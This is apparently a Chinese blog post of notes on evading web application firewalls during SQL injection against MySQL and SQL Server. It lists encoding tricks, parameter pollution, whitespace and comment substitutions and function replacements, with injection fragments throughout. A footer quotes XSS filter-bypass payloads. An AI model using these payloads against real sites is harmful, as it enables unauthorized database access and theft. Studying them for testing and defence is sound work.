首页 > 其他分享 >WAF绕过

WAF绕过

时间:2024-03-04 20:46:18浏览次数:24  
标签:字符 WAF 空白 version bypass 绕过 select

Web架构层 bypass

通过更改POST/GET/PUT 请求方式

Web服务器层bypass:

iss+asp 可通过unicode编码绕过关键字符:s%u0065lect->select

Web应用程序层bypass:

双层URL编码,更改请求方式传参或者burp抓包更改主体编码。?id=1' union select 1,version()#。HPP是指HTTP参数污染此处关键还是要分析 WAF 对于获取参数的方式是如何处理的。这里也要再提一下的,hpp,的灵活运用,譬如有些 cms.基于 yd,的白名单,因此可以利用 hpp,的方式在参数一的位置添加白名单目录,参数2的位置添加恶意的payload。形如indexphp?a=[whitelist]&a=select 1 union select 2

数据库层bypass:

参数和union之间的位置
1.\Nunion的形式:id=\Nunion select.....
2.浮点数的形式:1.1 8.0
3.8e0的形式 id=8e0union
4.利用/*!5000*/的形式  id=-3/*!5000*/union select
第二种:union和select之前的位置
(1)空白字符*Mysg!,中可以利用的空白字符有:%09.%0a.%0b.%0c,%0d.%a0;
(2)注释←使用空白注释←MYSQL中可以利用的空白字符有 /**/
/*letmetest*/
(3)使用括号:id=8e0union(select xxxxxxx);
(4)常见的过滤函数:Mid(version(),1,1)
Substr()
Substring()
Lpad()
Rpad()
Left()
reverse()
字符串连接函数:
concat(version().'|'.user());
concat_ws('|'.1,2,3);
字符转换
Ascii(1)转换ascii(1)
Char(49)
Hex('a')
Unhex(61)
过滤逗号:limit处的逗号
limit 1 offset 0
字符串截取处的逗号
mid处的逗号
mid(version() from 1 for 1)
Union处的逗号
通过join拼接

sqlserver 数据库绕过
常见的绕过位置
(1) select from后的位置
空白符号:
01,02,03,04.05,06.07.08.09,0A,0B,0C,0D,0E,0F,10.11,12,13,14,15.16.17.18,19.1A1B,1C.1D
.1E.1F.20
需要做 urlencode,sqlserver中的表示空白字符比较多,靠黑名单去阻断一般不合适

注释符号MSsql也可以使用注释符bypass

可以使用.来绕过 select * from. xxx
(2)select from之间的位置
空白符号:01,02,03.04.05,06,07.08.09,0A,0B,0C.0D,0E,0F,10,11,12.13,14,15.16.17.18,19.1A1B,1C 1D1E.1F.20
注释符号 Mssql也可以使用注释符号/**/  例:select /**/ * from xxx
(3) and之后的位置
加入上面的空白字符
:号 在sqlserver2017不再适用
(4)常见过滤函数
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
字符串转换函数
Ascii('a”)这里的函数可以在括号之间添加空格的,一些 waf,过滤不严会导致 bypass Char('97')
其他方式
Mssql支持多语句查询,因此可以使用;结束上面的查询语句,然后执行自己构造的语句动态执行

Waf层bypass
1.性能bypass
2.性能检测bypass
3.性能负载bypass
4.fuzz bypass:使用脚本去探测 WAF 设备对于字符处理是否有异常,上面已经说过 WAF 在接收到网络数据之后会做相应的数据包解析,一些 WAF 可能由于自身的解析问题,对于某些字符解析出错,造成全局的 bypass。我测试的时候常常测试的位置:“
1): get 请求处
2):header 请求处←
3):post yrlencade,内容处
4):post form-data 内容处
然后模糊测试的基础内容有:
1)编码过的 0-255 字符
2)进行编码的 0-255 字符
3)utf gbk 字符
5.白名单 bypass

标签:字符,WAF,空白,version,bypass,绕过,select
From: https://www.cnblogs.com/aidy/p/18052613

相关文章

  • XSS后台代码绕过
    xss_01正则表达式替换绕过方式:大小写混合或纯大写绕过paylaod:<scripT>alert(AAA);</Script>或<SCRIPT>alert(123);<SCRIPT>字符最小化将获取的message数据中获取的大小写字符全部转换为小写绕过方式:通过双写绕过Payload:<sc<script>ript>alert</scrip<script>t>......
  • 绕过 UAC 相关的技术
    UAC(用户账户控制)是Windows操作系统中的一项安全功能,旨在帮助防止未经授权的更改系统设置和应用程序的行为。UAC通过提示用户确认或提升权限来减少恶意软件对系统的影响。然而,有人可能试图绕过UAC以获取更高的权限,这种行为是不推荐的,并且可能违反法律。以下是您提到的一些可能......
  • Nginx添加开源防火墙(waf)防护(转载)
    项目背景介绍需求产生由于原生态的Nginx的一些安全防护功能有限,就研究能不能自己编写一个WAF,参考Kindle大神的ngx_lua_waf,自己尝试写一个了,使用两天时间,边学Lua,边写。不过不是安全专业,只实现了一些比较简单的功能:功能列表:支持IP白名单和黑名单功能,直接将黑名单的IP访问拒绝。......
  • Nacos身份认证绕过漏洞解决
    一、备份1.1备份nacos停止nacos服务/web/nacos/bin/shutdown.shcd/webmvnacosnacosbak-202311281.2备份mysql数据mysqldump-uroot-p-A>/web/nacos-20231128.sql二、部署新版nacos2.1下载nacos安装包cd/webwgethttps://github.com/alibaba/nacos/releases/......
  • 绕过disable_functions的限制
    https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functionshttps://wiki.luoyunhao.com/web/Bypassdisable_function绕过disable_functions的限制disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站......
  • 如何绕过Python readline的Tab-补全
    在Python中,readline模块提供了一个交互式的命令行输入接口,其中的Tab补全是指用户在输入时按下Tab键,系统会自动尝试完成当前输入的命令或路径。Tab补全的主要功能是帮助用户更快速、更准确地输入命令或路径,尤其是当有很多可能的选项时。下面我将用详细的步骤来说明Tab补全......
  • 命令执行绕过
    开放人员在开发的过程中,为了避免命令执行漏洞,可能会过滤一些命令或者比较常见的攻击payload。攻击者会通过多种方式绕过过滤规则。绕过空格过滤1.${IFS}绕过$IFS是shell的特殊环境变量,是Linux下的内部域分分隔符。$IFS中存储的值可以是空格、制表符、换行符或者其他自定义符号......
  • 第16天:信息打点-CDN绕过&业务部署&漏洞回链&接口探针&全网扫描&反向邮件
    #CDN配置:配置1:加速域名-需要启用加速的域名配置2:加速区域-需要启用加速的地区配置3:加速类型-需要启用加速的资源 #参考知识:超级Ping:http://www.17ce.com/超级Ping:https://ping.chinaz.com/接口查询:https://get-site-ip.com/接口查询:https://fofa.info/extensions/source......
  • 1247-jndi-waf
    1247-jndi-waf复现1.判断既然是Json格式自然优先尝试是否是Fastjson.判断是否为Fastjson:删掉末尾的}或添加",使其解析报错,这样就代表的使用的是fastjson。2.查看版本接下来就是探测版本.有两种方法,通过报错和Dnslog.{"@type":"java.lang.AutoCloseable"从返回包可......
  • CTFer blogs--hash比较绕过
    1.PHP弱类型===和==的区别:===在进行比较时,会先判断类型是否相同,再进行比较== 在进行比较时,会先将字符串类型转化相同,再比较转换规则:字符串的开始部分决定了它的值,如果以合法的数值开始,则使用该数值,否则为0eg.admin==01admin=10e123456==0e456789 相互比较......